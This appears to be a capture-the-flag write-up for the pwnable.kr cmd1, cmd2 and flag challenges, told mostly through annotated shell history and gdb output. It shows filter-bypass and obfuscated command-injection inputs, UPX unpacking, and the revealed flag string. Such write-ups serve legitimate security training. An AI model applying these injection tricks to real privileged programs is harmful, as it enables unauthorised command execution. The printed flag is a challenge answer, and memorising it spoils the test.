A few swigs of the Toddler's Bottle from pwnable.kr.


Solution and approach I took by just printing out my bash history.

ssh [email protected] -p2222 (pw:guest)

[email protected]:~$ history  
    1  ls
# Let's see what do we have here... okay got ourselves a c file.
    2  cat cmd1.c
    3  ls
# Looks like the c file just messes up your PATH env variable. 
# We can just avoid it by using absolute paths.
    4  ./cmd "/bin/cat /home/cmd1/flag"
    5  ./cmd1 "/bin/cat /home/cmd1/flag"
# Hmm. Why's it not working.
    6  ./cmd1 "/bin/cat /home/cmd1/$f"
    7  $f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
# Oh, because the binary also filters out the word 'flag'.
# Binaries inherit the environment of the shell. We can have a variable that just says 'flag'
# and use that variable instead.
    8  export $f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
    9  export f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
# Some fail attempts at setting an env variable
   10  export f=flag; ./cmd1 "/bin/cat /home/cmd1/$f"
   11  env
   12  export f=flag; ./cmd1 "/bin/echo $f"
# Okay that seriously should have worked. What the hell is the problem.
   13  /bin/echo
   14  /bin/echo $f
   15  export f=flag; ./cmd1 "/bin/echo \$f"
# Oh. The shell is expanding $f for us. We need to pass the literal string "$f".
# Gotta escape the $.
   19  export f=flag; ./cmd1 "/bin/cat /home/cmd1/\$f"
Got it. mommy now I get what PATH environment is for :)  
   23  unset f
   24  env
   25  f=flag ./cmd1 "/bin/cat /home/cmd1/\$f"
   26  env
# Some testing. You can just pass a local env variable to programs you execute on the CLI,
# without having to mess up your env for any other programs started from that shell. No
# need to export.


The overall idea to this challenge is to leverage sh built-ins. Notice that I say sh and not bash, that's because the program is doing a system(...) API call, which is actually a wrapper around exec("sh -c ..."). There are major differences between the sh shell, and the bash shell.

This is my solution. It's really crazy, and I'm a bit too lazy to explain it/barely know what I was thinking when I crafted this masterpiece. But, basically the idea is you need a / (e.g. ./cat flag) in order to call a program without a path. So, you have to think of some clever way to get a / into a string.

$ ./cmd2 "\$(printf '%c%c%c%c%c%c%c%c %c%c%c%c%c%c' \$(set \$(printf '%c%c%c%c%c' \$ P A T H); 
set \$(eval echo \$1); echo \${1%no_command_execution_until_you_become_a_hacker}) b i n \$(set  
\$(printf '%c%c%c%c%c' \$ P A T H); set \$(eval echo \$1); echo 
\${1%no_command_execution_until_you_become_a_hacker}) c a t . \$(set \$(printf '%c%c%c%c%c' \$ 
P A T H); set \$(eval echo \$1); echo \${1%no_command_execution_until_you_become_a_hacker}) f l  
a g)"  

There's a much simpler, almost cheating solution to this challenge as well. Read the man page for sh built-in to understand it :).

$ ./cmd2 command -p cat flag

There's also a medium difficulty solution that somebody showed me, but I leave that as an open problem for the


$ wget http://pwnable.kr/bin/flag
$ objdump -d flag

Returns nothing. Strange.

$ chmod +x flag; ./flag
I will malloc() and strcpy the flag there. take it.  

Test that string as being the answer. Wrong - that'd have been too easy.
Okay so it does actually do something and is an executable.

Why would objdump fail? If it's a malformed binary is the only reason. That only happens due to some sort of corruption, most often man-made, in things like malware. Malware is often obfuscated to make diassembly and detection harder. It's actually a very difficult problem to figure out how something is packed, and to then reverse it. Luckily most malware authors, and people in general use popular tools at default settings. UPX is the most popular packer, and the default setting leaves the string "UPX" in the binary.

$ strings flag
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $

Nice! It's UPX. Let's download a UPX unpacker.

$ upx -d flag

And now to debug the unpacked binary.

$ gdb flag
$ b main
$ r
   0x401163 <frame_dummy+67>:    nop
   0x401164 <main>:    push   rbp
   0x401165 <main+1>:    mov    rbp,rsp
=> 0x401168 <main+4>:    sub    rsp,0x10
   0x40116c <main+8>:    mov    edi,0x496658
   0x401171 <main+13>:    call   0x402080 <puts>
   0x401176 <main+18>:    mov    edi,0x64
   0x40117b <main+23>:    call   0x4099d0 <malloc>

Nice, a strcpy and malloc as promised when the program was executed.

# Inside of gdb:
$ n; n; n; n; n; n
=> 0x401184 <main+32>:    mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>

Oh, the flag is just in 0x6c2070

$ telescope 0x6c2070
0000| 0x6c2070 --> 0x496628 ("UPX...? sounds like a delivery service :)")  

Get upx, and peda (the telescope command inside of gdb) from my sec-tools.